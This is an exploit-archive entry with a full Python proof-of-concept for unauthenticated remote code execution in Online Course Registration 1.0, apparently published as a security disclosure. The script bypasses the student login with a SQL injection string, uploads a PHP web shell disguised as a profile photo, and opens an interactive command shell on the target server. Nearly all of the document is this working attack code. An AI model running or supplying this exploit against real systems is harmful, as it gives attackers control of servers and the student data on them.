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Online Course Registration 1.0 Remote Code Execution

Online Course Registration 1.0 Remote Code Execution
Posted Jul 16, 2020
Authored by Bobby Cooke

Online Course Registration version 1.0 unauthenticated remote code execution exploit.

tags | exploit, remote, code execution
SHA-256 | a151de8ab314ed412ce9857ad2d9bed5fb186f222306d71070d50f445af469ba

Online Course Registration 1.0 Remote Code Execution

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# Exploit Title: Online Course Registration 1.0 - Unauthenticated Remote Code Execution
# Exploit Author: Bobby Cooke
# Credit to BKpatron for similar Auth Bypass on admin page - exploit-db.com/exploits/48559
# Date: 2020-07-15
# Vendor Homepage: Vendor Homepage: https://www.sourcecodester.com/php/14251/online-course-registration.html
# Software Link: https://www.sourcecodester.com/sites/default/files/download/razormist/online-course-registration.zip
# Version: 1.0
# Tested On: Windows 10 Pro 1909 (x64_86) + XAMPP 7.4.4 | Python 2.7.18

import requests, sys, urllib, re
from colorama import Fore, Back, Style
requests.packages.urllib3.disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning)
ok = Fore.GREEN+'['+Fore.RESET+'+'+Fore.GREEN+']'+Fore.RESET+' '
err = Fore.RED+'['+Fore.RESET+'!'+Fore.RED+']'+Fore.RESET+' '
info = Fore.BLUE+'['+Fore.RESET+'-'+Fore.BLUE+']'+Fore.RESET+' '
RS = Style.RESET_ALL
FR = Fore.RESET
YL = Fore.YELLOW
RD = Fore.RED

def webshell(SERVER_URL, session):
try:
WEB_SHELL = SERVER_URL+'studentphoto/kaio-ken.php'
getdir = {'telepathy': 'echo %CD%'}
r2 = session.post(url=WEB_SHELL, data=getdir, verify=False)
status = r2.status_code
if status != 200:
print(err+"Could not connect to the webshell.")
r2.raise_for_status()
print(ok+'Successfully connected to webshell.')
cwd = re.findall('[CDEF].*', r2.text)
cwd = cwd[0]+"> "
term = Style.BRIGHT+Fore.GREEN+cwd+Fore.RESET
print(RD+')'+YL+'+++++'+RD+'['+FR+'=========>'+' WELCOME BOKU '+'<========'+RD+']'+YL+'+++++'+RD+'('+FR)
while True:
thought = raw_input(term)
command = {'telepathy': thought}
r2 = requests.get(WEB_SHELL, params=command, verify=False)
status = r2.status_code
if status != 200:
r2.raise_for_status()
response2 = r2.text
print(response2)
except:
print('\r\n'+err+'Webshell session failed. Quitting.')
quit()

def formatHelp(STRING):
return Style.BRIGHT+Fore.RED+STRING+Fore.RESET

def header():
SIG = RD+' /\\\n'+RS
SIG += YL+'/vvvvvvvvvvvv '+RD+'\\'+FR+'--------------------------------------,\n'
SIG += YL+'`^^^^^^^^^^^^'+RD+' /'+FR+'============'+RD+'BOKU'+FR+'====================="\n'
SIG += RD+' \/'+RS+'\n'
return SIG

if __name__ == "__main__":
print(header())
if len(sys.argv) != 2:
print(formatHelp("(+) Usage:\t python %s <WEBAPP_URL>" % sys.argv[0]))
print(formatHelp("(+) Example:\t python %s 'https://10.0.0.3:443/Online Course Registration/'" % sys.argv[0]))
quit()
SERVER_URL = sys.argv[1]
if not re.match(r".*/$", SERVER_URL):
SERVER_URL = SERVER_URL+'/'
LOGIN_URL = SERVER_URL+'index.php'
PROFILE_URL = SERVER_URL+'my-profile.php'
print(info+'Creating session and saving PHPSESSID')
s = requests.Session()
get_session = s.get(SERVER_URL, verify=False)
if get_session.status_code == 200:
print(ok+'Successfully connected to server and created session.')
print(info+get_session.headers['Set-Cookie'])
else:
print(err+'Cannot connect to the server and create a web session.')
bypass_data = {'regno' : '\' or 1=1; -- boku', 'password' : '\' or 1=1; -- boku', 'submit' : ''}
print(info+'Bypassing authentication of student login portal.')
auth_bypass = s.post(url=LOGIN_URL, data=bypass_data, verify=False)
if auth_bypass.history:
for resp in auth_bypass.history:
print(info+'Response Status-Code: ' + str(resp.status_code))
print(info+'Location: ' + str(resp.headers['location']))
redirectURL = resp.headers['location']
if re.match(r".*change-password.php", redirectURL):
print(ok+'Successfully bypassed user portal authentication.')
else:
print(err+'Failed to bypass user portal authentication. Quitting.')
quit()
get_profile = s.get(url=PROFILE_URL, verify=False)
Name = str(re.findall(r'name="studentname" value=".*"', get_profile.text))
Name = re.sub('^.*name="studentname" value="', '', Name)
Name = re.sub('".*$', '', Name)
PinCode = str(re.findall(r'name="Pincode" readonly value=".*"', get_profile.text))
PinCode = re.sub('^.*name="Pincode" readonly value="', '', PinCode)
PinCode = re.sub('".*$', '', PinCode)
RegNo = str(re.findall(r'name="studentregno" value=".*"', get_profile.text))
RegNo = re.sub('^.*name="studentregno" value="', '', RegNo)
RegNo = re.sub('".*$', '', RegNo)
print(ok+'{studentname:'+Name+', Pincode:'+PinCode+', studentregno:'+RegNo+'}')
avatar_img = {
'photo':
(
'kaio-ken.php',
'<?php echo shell_exec($_REQUEST["telepathy"]); ?>',
'image/png',
{'Content-Disposition': 'form-data'}
)
}
upld_data = {'studentname':Name, 'studentregno':RegNo,'Pincode':PinCode,'cgpa':'0.00','submit':''}
webshell_upload = s.post(url=PROFILE_URL, files=avatar_img, data=upld_data, verify=False)
print(ok+'Uploaded webshell. Now connecting via POST requests using telepathy.')
webshell(SERVER_URL, s)
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